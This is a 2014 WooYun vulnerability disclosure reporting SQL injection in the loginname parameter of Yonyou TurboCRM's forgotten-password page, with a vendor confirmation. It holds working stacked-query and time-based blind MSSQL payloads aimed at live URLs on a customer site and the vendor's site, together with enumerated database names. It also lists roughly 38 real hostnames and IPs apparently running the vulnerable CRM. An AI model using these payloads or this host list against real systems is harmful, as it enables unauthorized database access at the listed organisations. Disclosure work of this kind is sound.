当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062674

漏洞标题:用友某通用系统sql注入

相关厂商:用友软件

漏洞作者: if、so

提交时间:2014-06-04 21:06

修复时间:2014-09-02 21:08

公开时间:2014-09-02 21:08

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-04: 细节已通知厂商并且等待厂商处理中
2014-06-05: 厂商已经确认,细节仅向厂商公开
2014-06-08: 细节向第三方安全合作伙伴开放
2014-07-30: 细节向核心白帽子及相关领域专家公开
2014-08-09: 细节向普通白帽子公开
2014-08-19: 细节向实习白帽子公开
2014-09-02: 细节向公众公开

简要描述:

用友某通用系统注入

详细说明:

用友TurboCRM存在通用sql注入

1111.png


http://www.qinyuancrm.com/login/forgetpswd.php?orgcode=1&loginname=dsdfsfds


loginname参数存在mssql timebased盲注

Place: GET
Parameter: loginname
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: orgcode=1&loginname=dsdfsfds'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: orgcode=1&loginname=dsdfsfds' WAITFOR DELAY '0:0:5'--
---


[*] master
[*] model
[*] msdb
[*] tempdb
[*] turbocrm60
[*] UFDATA_100_2012
[*] UFMeta_100
[*] UFSystem


然后我去官方的crm去看了下,同样存在

1111.png


http://prm.ufida.com.cn/login/forgetpswd.php?orgcode=1&loginname=dsdfsfds 
Place: GET
Parameter: loginname
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: orgcode=1&loginname=dsdfsfds'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: orgcode=1&loginname=dsdfsfds' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows
web application technology: PHP 5.2.10, Apache 2.2.13
back-end DBMS: Microsoft SQL Server 2008


我在百度搜索了下,整理出了以下使用这套crm的网站,title:用友TurboCRM

218.94.82.23
prm.ufida.com.cn
crm.landwind.com.cn
crm.szclou.com
http://yindajituan.gicp.net:8888
182.135.191.86
111.40.0.242:9091
222.171.32.36:9091
219.90.119.35:8081
180.168.98.94:8088
prm.yonyou.com
www.kdlian.com:8001
prm.chanjet.com
qinyuancrm.com
kfdq369.gicp.net
220.113.5.194
218.84.134.162:8088
turbocrm.yofc.com
crm.elfa.com.cn
crm.pearmain.cn
nc.shineroad.com
crm.westernpower.cn
crm7.abgroup.cn
crm.transn.net
zh4433.vicp.net
218.108.86.226
crm.yiwenkeji.com:8080
218.95.66.88:9036
crm.digisystem.com.cn:8080
crm.shineroad.com
crm.siweidg.com
222.41.174.190:8088
117.36.76.254:8080
hq.longmanschools.com.cn:8080
59.50.33.86:9000
182.135.191.87
crm.szclou.com:8088
58.220.225.28:8080

漏洞证明:

http://www.qinyuancrm.com/login/forgetpswd.php?orgcode=1&loginname=dsdfsfds


loginname参数存在mssql timebased盲注

Place: GET
Parameter: loginname
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: orgcode=1&loginname=dsdfsfds'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: orgcode=1&loginname=dsdfsfds' WAITFOR DELAY '0:0:5'--
---


[*] master
[*] model
[*] msdb
[*] tempdb
[*] turbocrm60
[*] UFDATA_100_2012
[*] UFMeta_100
[*] UFSystem


然后我去官方的crm去看了下,同样存在

1111.png


http://prm.ufida.com.cn/login/forgetpswd.php?orgcode=1&loginname=dsdfsfds 
Place: GET
Parameter: loginname
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: orgcode=1&loginname=dsdfsfds'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: orgcode=1&loginname=dsdfsfds' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows
web application technology: PHP 5.2.10, Apache 2.2.13
back-end DBMS: Microsoft SQL Server 2008

修复方案:

.

版权声明:转载请注明来源 if、so@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-05 13:55

厂商回复:

将转给产品部门确认,感谢白帽子

最新状态:

暂无